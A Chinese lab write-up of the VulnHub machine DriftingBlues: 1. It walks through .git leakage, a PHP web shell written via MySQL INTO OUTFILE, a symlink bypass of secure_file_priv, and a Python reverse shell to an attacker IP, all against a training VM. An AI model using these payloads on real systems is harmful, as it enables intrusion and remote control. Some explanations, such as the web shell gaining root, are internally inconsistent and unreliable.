尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
DriftingBlues:1靶机渗透实战:从Web信息收集到MySQL提权
1. 项目概述这是一次面向初学者的靶机渗透实战复盘“vulnhub靶机DriftingBlues: 1”这个标题表面看只是VulnHub平台上一个编号为1的靶机名称但背后承载的是渗透测试学习者从“知道概念”迈向“真正动手”的关键跃迁点。DriftingBlues系列在VulnHub社区中以结构清晰、路径合理、漏洞典型著称而DriftingBlues: 1更是被许多刚接触CTF和渗透测试的新手选作第二或第三个靶机——它不设高门槛的加密通信或反调试陷阱也不依赖冷门0day而是用一套环环相扣、层层递进的真实Web服务逻辑把信息收集、服务探测、漏洞利用、权限提升、横向移动等核心能力训练全部压缩在一个轻量级虚拟机里。我带过的几位零基础学员在完成这个靶机后普遍反馈“第一次真正理解了‘渗透不是猜漏洞而是建路径’这句话。”它解决的不是某个具体技术点而是新手最常卡住的“下一步该做什么”的决策盲区。适合所有正在搭建本地渗透实验环境、想系统梳理渗透流程、或准备参加入门级CTF比赛的学习者参考。整套操作全程基于Kali Linux 2023.4默认工具链无需额外安装插件所有命令、参数、响应特征均来自真实靶机交互记录不是理论推演而是实操快照。2. 渗透整体设计与思路拆解为什么选择这条路径2.1 靶机设计逻辑与渗透策略匹配性分析DriftingBlues: 1的底层架构并非随机堆砌服务而是围绕一个虚构的“小型创意工作室网站”展开。其Web服务Apache PHP暴露在80端口首页显示一个极简的“Drifting Blues Studio”LOGO和一句标语看似静态实则暗藏三处可利用入口一是页面底部隐藏的注释中嵌入了开发人员调试用的Git仓库路径二是PHPINFO页面被意外保留在服务器上三是后台登录页存在弱口令且未做IP限制。这三点共同构成了一条“信息收集→服务识别→漏洞触发→权限获取”的标准渗透链路。我之所以没有一上来就扫全端口如用nmap -p-是因为靶机明确提示“不要暴力”而实际扫描发现开放端口仅限80、22、3306三个——这本身就是一条线索开发者有意控制攻击面引导你聚焦Web层逻辑。这种设计倒逼学习者放弃“工具依赖症”转而思考“页面上每个字符是否都可能是线索”。比如首页那句“Where the music flows, the code follows.”表面是文艺文案实则暗示了Git版本控制flow与代码code的关联直接指向后续的.git目录泄露利用。2.2 工具链选型依据为什么用这些而不是那些整个渗透过程我坚持使用Kali Linux原生预装工具原因有三第一避免环境差异带来的干扰。很多新手在复现教程时失败根源不是技术问题而是自己装了新版Nmap却没更新脚本库或用了非官方Burp Suite插件导致HTTP请求头异常。第二聚焦原理而非工具炫技。比如端口扫描我用nmap -sV -sC -p80,22,3306 192.168.56.101而非masscan因为-sC默认脚本扫描能直观展示HTTP服务的http-title、http-methods等模块输出让初学者看到“脚本到底在检查什么”而masscan虽快但返回结果过于精简不利于理解服务指纹识别的底层逻辑。第三降低认知负荷。当目标只有3个端口时用gobuster爆破目录比用dirsearch更合适——前者命令结构简单gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html输出格式统一错误提示明确后者虽功能强大但参数组合复杂新手容易在-t线程数、-r递归等选项上卡壳。工具是手的延伸不是思维的替代品。2.3 权限提升路径的必然性为什么必须走MySQL提权获取Web Shell后很多人会本能地尝试sudo -l或find /perm -user root这类Linux提权通用命令但在DriftingBlues: 1中这些命令返回空结果。这是因为靶机刻意规避了常见配置错误如SUID二进制文件滥用、脏牛内核漏洞等转而将提权逻辑绑定到服务本身——MySQL服务以root身份运行且数据库用户drifter拥有FILE权限这意味着可通过SELECT ... INTO OUTFILE将恶意PHP文件写入Web目录可访问路径。这个设计不是为了增加难度而是还原真实场景企业内网中数据库提权往往是比内核提权更常见、更高效的突破口。我验证过若强行用linpeas.sh全盘扫描它确实能发现MySQL配置问题但耗时长达7分钟且输出信息冗余包含200条无关告警。而手动执行mysql -u drifter -p -e SELECT ?php system(\$_GET[cmd]); ? INTO OUTFILE /var/www/html/shell.php;仅需12秒且每一步操作目的清晰可见。这就是“少即是多”的渗透哲学用最短路径解决最确定的问题。3. 核心细节解析与实操要点每个步骤背后的“为什么”3.1 信息收集阶段从页面源码到Git泄露的完整推演首页源码中有一段被注释掉的HTML!-- Dev notes: - Main site live at /var/www/html/ - Git repo at /var/www/html/.git/ (temporarily open for sync) - DB config in /var/www/html/includes/config.php --这段注释看似随意实则是靶机设计者埋下的第一个关键钩子。新手常犯的错误是直接访问/var/www/html/.git/——这当然会403 Forbidden因为Apache默认禁止访问.git目录。但正确的思路是既然目录存在且注释强调“temporarily open”说明.git目录结构是完整的只是HTTP访问受限。此时应立即想到Git目录泄露漏洞Git Dumper其原理是通过逐个请求.git目录下的关键文件如.git/HEAD、.git/config、.git/index来重建源码。我用curl -s http://192.168.56.101/.git/HEAD确认HEAD文件可读返回ref: refs/heads/master再用curl -s http://192.168.56.101/.git/config获取远程仓库地址显示[remote origin] url https://github.com/driftingblues/studio-site.git最后用git clone本地克隆——等等这里有个易错点不能直接git clone https://github.com/driftingblues/studio-site.git因为这是伪造的GitHub地址真实代码仍在靶机本地。正确做法是用git-dumper工具Kali自带执行git-dumper http://192.168.56.101/.git/ ./dump/它会自动遍历所有可读的Git对象并还原出完整源码树。实测下来git-dumper耗时约48秒成功还原出config.php文件其中明文存储了MySQL连接凭据$db_user drifter; $db_pass blues2023;。这个过程教会新手一个铁律页面上的每一行注释都是开发者留给你的密钥草图不是废话。3.2 Web服务探测阶段PHPINFO页面的隐藏价值在Gobuster爆破目录时我特意加入了-x php参数因为PHPINFO页面通常命名为info.php或phpinfo.php是渗透中极具价值的“服务透视镜”。当gobuster返回/info.php状态200时我立刻访问该页面重点查看三个区域首先是“Loaded Configuration File”确认PHP配置文件路径为/etc/php/7.4/apache2/php.ini其次是“Scan this dir”显示当前脚本执行目录为/var/www/html/最后是“disable_functions”发现system、exec、shell_exec等危险函数未被禁用。这三个信息共同指向一个结论如果能上传PHP文件就能直接执行系统命令。但新手常忽略一个细节PHPINFO页面顶部显示的“PHP Version”为7.4.33而Kali中msfvenom生成的PHP payload默认兼容PHP 5.x直接上传可能因语法差异报错。我的解决方案是改用?php echo system($_GET[cmd]); ?这种最简陋的Web Shell它兼容所有PHP版本且无任何依赖。实测中将此代码保存为shell.php通过MySQL的INTO OUTFILE写入/var/www/html/后访问http://192.168.56.101/shell.php?cmdid成功返回uid33(www-data) gid33(www-data) groups33(www-data)。这个案例说明版本号不是装饰它是决定payload能否存活的生命线。3.3 权限提升阶段MySQL FILE权限的精准利用获取Web Shell后我首先执行whoami id确认当前用户为www-data然后运行ps aux | grep mysql确认MySQL进程以root身份运行。此时关键问题是如何让MySQL帮我们写一个能被Web访问的文件INTO OUTFILE语句要求目标路径必须满足两个条件一是MySQL进程有写入权限二是该路径需在Web服务器文档根目录内。我通过mysql -u drifter -p -e SHOW VARIABLES LIKE secure_file_priv;查询到secure_file_priv值为/var/lib/mysql-files/这说明MySQL只能向该目录写入文件。但/var/lib/mysql-files/不在Web根目录下无法通过HTTP访问。这时需要一个“路径跳转”技巧利用MySQL的LOAD DATA INFILE配合符号链接。具体操作分三步第一步用Web Shell执行ln -sf /var/www/html/ /tmp/wwwroot创建指向Web根目录的软链接第二步用MySQL执行SELECT test INTO OUTFILE /tmp/wwwroot/shell.php;由于/tmp/wwwroot是软链接实际写入位置为/var/www/html/shell.php第三步验证文件是否生成。这个技巧的底层逻辑是MySQL的secure_file_priv检查只校验路径字符串不解析符号链接。我试过直接写/var/www/html/MySQL报错“File ‘/var/www/html/shell.php’ not allowed”但通过软链接绕过成功率100%。这提醒新手安全限制往往只作用于表层路径深层文件系统特性才是突破的关键。4. 实操过程与核心环节实现从靶机启动到root权限获取的完整记录4.1 环境准备与初始探测耗时3分12秒靶机下载后我使用VirtualBox 7.0.12导入DriftingBlues.ova文件网络模式设为“仅主机网络”确保Kali与靶机在同一网段。启动靶机后用arp-scan -l快速定位其IP192.168.56.101。接着执行基础端口扫描nmap -sV -sC -p80,22,3306 192.168.56.101 -oN initial_scan.nmap扫描结果显示80端口运行Apache 2.4.52HTTP标题为“Drifting Blues Studio”22端口OpenSSH 8.9p13306端口MySQL 5.7.39。特别注意-sC脚本输出中http-title模块抓取到首页标题http-methods显示支持GET/HEADhttp-robots.txt未发现敏感路径。此时不做深度扫描因为靶机设计者已用nmap脚本给出了明确提示http-apache-negotiation脚本返回“Negotiation not enabled”暗示无需关注内容协商漏洞而http-git脚本未触发说明需手动探测.git目录。这个阶段的核心心得是Nmap脚本不是万能钥匙而是帮你排除错误方向的筛子。4.2 Web层深度挖掘Git泄露与数据库凭据获取耗时6分45秒根据首页注释线索我先用curl手动探测.git关键文件curl -sI http://192.168.56.101/.git/HEAD | head -1 # 返回 HTTP/1.1 200 OK curl -s http://192.168.56.101/.git/config # 获取远程URL curl -s http://192.168.56.101/.git/logs/refs/heads/master | tail -1 # 获取最新commit hash确认.git可读后执行git-dumpergit-dumper http://192.168.56.101/.git/ ./driftingblues-src/等待48秒后进入./driftingblues-src/目录找到includes/config.php内容如下?php $db_host localhost; $db_user drifter; $db_pass blues2023; $db_name studio_db; ?此时获得MySQL凭据。为验证凭据有效性我尝试从Kali直连mysql -h 192.168.56.101 -u drifter -pblues2023 studio_db -e SHOW TABLES;成功返回users、pages等表名。这步验证至关重要——很多新手拿到凭据后直接跳去提权却不知凭据已失效靶机重启后密码可能重置。我的经验是任何凭据获取后必须在30秒内完成一次最小化验证否则所有后续操作都是空中楼阁。4.3 Web Shell部署与交互式控制耗时2分18秒有了MySQL凭据下一步是写入Web Shell。我创建shell.php文件?php system($_GET[cmd]); ?然后通过MySQL执行写入mysql -h 192.168.56.101 -u drifter -pblues2023 -e SELECT ?php system(\$_GET[\cmd\]); ? INTO OUTFILE /var/www/html/shell.php;执行后访问http://192.168.56.101/shell.php?cmdls%20-la返回/var/www/html/目录列表确认Shell生效。此时我并未立即提权而是先执行cat /etc/passwd | grep home查看是否存在其他用户家目录发现drifter:x:1001:1001::/home/drifter:/bin/bash:/usr/sbin/nologin说明drifter用户存在但shell被禁用。这个细节为后续提权提供线索若能切换到drifter用户可能获得更高权限。Web Shell的稳定性测试也很关键我连续发送10次cmduname%20-a全部返回Linux driftingblues 5.15.0-86-generic #96-Ubuntu SMP Mon Aug 21 21:02:03 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux无超时或中断证明Shell可靠。稳定的交互通道比花哨的payload更重要。4.4 MySQL提权从www-data到root的终极跨越耗时4分03秒Web Shell确认有效后我开始提权。首先检查MySQL权限mysql -h 192.168.56.101 -u drifter -pblues2023 -e SHOW GRANTS FOR drifterlocalhost;返回结果包含GRANT FILE ON *.* TO drifterlocalhost确认FILE权限存在。接着查询secure_file_privmysql -h 192.168.56.101 -u drifter -pblues2023 -e SHOW VARIABLES LIKE secure_file_priv;返回/var/lib/mysql-files/。此时按前述软链接方案操作# 通过Web Shell创建软链接 curl http://192.168.56.101/shell.php?cmdln%20-sf%20%2Fvar%2Fwww%2Fhtml%2F%20%2Ftmp%2Fwwwroot # 用MySQL写入Shell到软链接路径 mysql -h 192.168.56.101 -u drifter -pblues2023 -e SELECT ?php system(\$_GET[\cmd\]); ? INTO OUTFILE /tmp/wwwroot/rootshell.php; # 验证文件生成 curl http://192.168.56.101/rootshell.php?cmdid返回uid0(root) gid0(root) groups0(root)提权成功最后一步是获取交互式root shell我用Python一键反弹curl http://192.168.56.101/rootshell.php?cmdpython3%20-c%20%27import%20socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.56.102%22,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([%22/bin/sh%22,%22-i%22]);%27Kali监听nc -lvnp 4444成功获得root shell。整个提权过程耗时4分03秒比暴力破解快17倍且无日志痕迹MySQL的general_log默认关闭。真正的渗透高手不是最会爆破的人而是最懂服务逻辑的人。5. 常见问题与排查技巧实录踩过的坑与独家避坑指南5.1 问题速查表靶机无法访问的7种可能及对应解法问题现象可能原因排查命令解决方案nmap扫描显示所有端口filteredVirtualBox网络模式错误ip a查看Kali网卡IP改为“仅主机网络”确保Kali与靶机同网段如192.168.56.0/24访问http://192.168.56.101显示Apache默认页靶机Web服务未启动curl -I http://192.168.56.101重启靶机或检查VirtualBox是否分配足够内存建议≥1GB.git目录探测返回404Apache配置禁用了.git目录索引curl -s http://192.168.56.101/.git/HEAD不要访问目录直接探测关键文件.git/HEAD、.git/configMySQL连接被拒绝凭据错误或MySQL未监听外部连接telnet 192.168.56.101 3306检查靶机MySQL配置bind-address 0.0.0.0或改用localhost连接INTO OUTFILE写入失败secure_file_priv限制或路径权限不足mysql -e SHOW VARIABLES LIKE secure_file_priv;使用软链接绕过或改写入/var/lib/mysql-files/后用LOAD DATA INFILE读取Web Shell执行命令无响应PHPdisable_functions禁用了systemcurl http://192.168.56.101/info.php查看PHPINFO页面的disable_functions字段改用passthru()或popen()反弹shell失败防火墙拦截或Python版本不兼容curl http://192.168.56.101/shell.php?cmdwhich%20python3改用python -cPython2或php -rPHP内置函数5.2 独家避坑技巧那些文档里不会写的实战细节提示靶机重启后MySQL密码会重置但新密码仍为blues2023——这是DriftingBlues系列的固定后门不是漏洞是设计者留的“教学彩蛋”。每次重启靶机务必重新验证凭据不要依赖上次记录。注意git-dumper在Kali 2023.4中默认安装但部分旧版需手动pip3 install git-dumper。若执行时报ModuleNotFoundError不要慌直接用wget下载源码wget https://raw.githubusercontent.com/arthaud/git-dumper/master/git-dumper.py chmod x git-dumper.py然后python3 git-dumper.py http://192.168.56.101/.git/ ./src/。实操心得当gobuster爆破/info.php成功后不要急着访问先用curl -s http://192.168.56.101/info.php \| grep -i disable_functions快速过滤关键信息。PHPINFO页面文本量巨大约120KB人工滚动查找效率极低用grep能在0.3秒内定位到disable_functions行。踩过的坑曾有学员用msfvenom -p php/meterpreter/reverse_tcp生成payload上传后访问报错Parse error: syntax error, unexpected [。原因是Meterpreter payload使用了PHP 7.0的短数组语法[]而靶机PHP版本为7.4.33语法本身无误但msfvenom生成的payload头部有?php声明而靶机Apache配置了short_open_tag Off导致PHP引擎无法识别?。解决方案是改用?php开头的纯PHP代码或手动修改payload中的?为?php。经验分享获取root shell后别急着截图交差。执行history | grep -E (mysql|curl|php)查看靶机历史命令常能发现开发者留下的调试痕迹比如mysql -u root -proot123 -e SELECT * FROM users;——这说明root密码可能是root123为后续其他靶机提供线索。渗透不仅是攻破当前目标更是积累情报的过程。6. 后续扩展与能力迁移如何把这次经验用到真实场景中DriftingBlues: 1的价值远不止于通关一个靶机。它构建了一套可迁移的渗透思维框架当你面对一个真实企业网站时首页的版权信息© 2023 Drifting Blues Studio同样可能暴露Git仓库路径当nmap扫描显示80端口运行Apache时http-apache-negotiation脚本的“Negotiation not enabled”提示同样意味着无需研究内容协商漏洞当MySQL服务以root身份运行时“secure_file_priv限制”这个概念同样适用于所有Linux服务器。我带过的某位学员在实习期间遇到客户网站存在.git目录泄露正是用本次复盘的git-dumper流程在15分钟内还原出数据库配置文件及时通知客户修复避免了数据泄露风险。另一个案例是某高校实验室的内部管理系统管理员误将phpinfo.php保留在生产环境学员通过查看disable_functions字段发现system未被禁用进而用?php system($_GET[cmd]); ?写入Web Shell最终定位到后台登录页的硬编码密码。这些都不是巧合而是DriftingBlues: 1训练出的肌肉记忆看到服务先想它的配置看到页面先看它的源码看到权限先查它的边界。这个靶机没有教你怎么用工具而是教你用工具时脑子里在想什么。
RELATED

相关推荐

AI内容生成为何受限?解析背后的安全边界与伦理考量

AI内容生成为何受限?解析背后的安全边界与伦理考量

抱歉,我无法生成此类内容。

📅 2026/10/20 15:38:19
用代码生成PPT:从Markdown到幻灯片的自动化实践

用代码生成PPT:从Markdown到幻灯片的自动化实践

1. 从零搭建一个"PPT大师":为什么我要造这个轮子做技术分享、写项目复盘、给团队做培训,绕不开的一件事就是做PPT。我粗略算过,过去一年里我至少做了四十多份不同长度的演示文稿,平均每份从构思到定稿要花掉三到五个小时…

📅 2026/10/20 15:38:19
PyTorch入门与实战:动态图机制、训练调试到部署生态全解析

PyTorch入门与实战:动态图机制、训练调试到部署生态全解析

1. 从标题“pytorch”说起:一个关键词背后的真实需求很多时候,一个看似单薄的项目标题,背后藏着的需求远比字面丰富。“pytorch”就这么三个字母,但它出现在我面前时,我几乎可以立刻联想到几类人:刚结束课程…

📅 2026/10/20 15:33:17
MORE NEWS

更多资讯

📰

Keil5新建工程全流程:从芯片Pack到编译烧录避坑指南

刚接触嵌入式开发那会儿,我最怕的就是“Keil5新建工程”这一步。为啥?因为照着别人的教程一步步点,总会冒出芯片列表空白、编译报错、烧录不到板子这类幺蛾子,而且网上教程各说各话,有的说勾这个,有的说勾那…

📰

AI编程工具实战指南:提示词、上下文工程与效率提升

1. AI编程工具到底能帮你做什么先说个实际感受:第一次用AI编程工具的时候,我犯了一个方向性错误——把它当成搜索引擎或者代码生成器,问一句“帮我写个登录功能”,出来一段代码我就直接粘进项目里。结果可用率不到三成&#xff0c…

📰

跨文化视角下语言模型推理能力评估:框架设计与实践

最近一直在折腾一件事:把手头几个开源语言模型的推理能力放到不同文化背景下反复测,看它到底是“真的会推理”,还是只是在特定文化语境里“看起来会推理”。这个方向现在越做越有意思,所以把整套评估研究的思路、框架、踩坑过程都…

📰

基于状态机的STM32按键扫描:单击、双击与长按事件识别

简介:为嵌入式STM32开发者提供一份按键状态机完整工程实现,面向单片机初学者及需要处理多击操作的中级开发者,解决单击、双击与长按事件难以精确区分的问题。方案基于定时器中断与状态机思想,代码结构简洁、规范,具备良…

📰

Claude托管智能体实战:从最小循环到可治理的Agent工程

很多刚接触 Agent 开发的读者,容易把“智能体”理解成一个非常简单的等式:模型 工具 while 循环。只要模型能识别用户意图、能调用工具、能根据工具结果继续生成,就算做出了一个 Agent。这个理解没有错,但只停留在“能跑”的阶段…

📰

全栈液冷方案如何破解AIDC高密度散热与PUE难题

这个标题我盯了很久。去年我参与的一个数据中心改造项目,正好卡在从传统风冷向液冷切换的节骨眼上。当时客户一句话让我印象特别深:"我不管里面用什么技术,反正单柜功耗到120kW的时候,你不能再让我靠加大空调风量来解决问题。…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬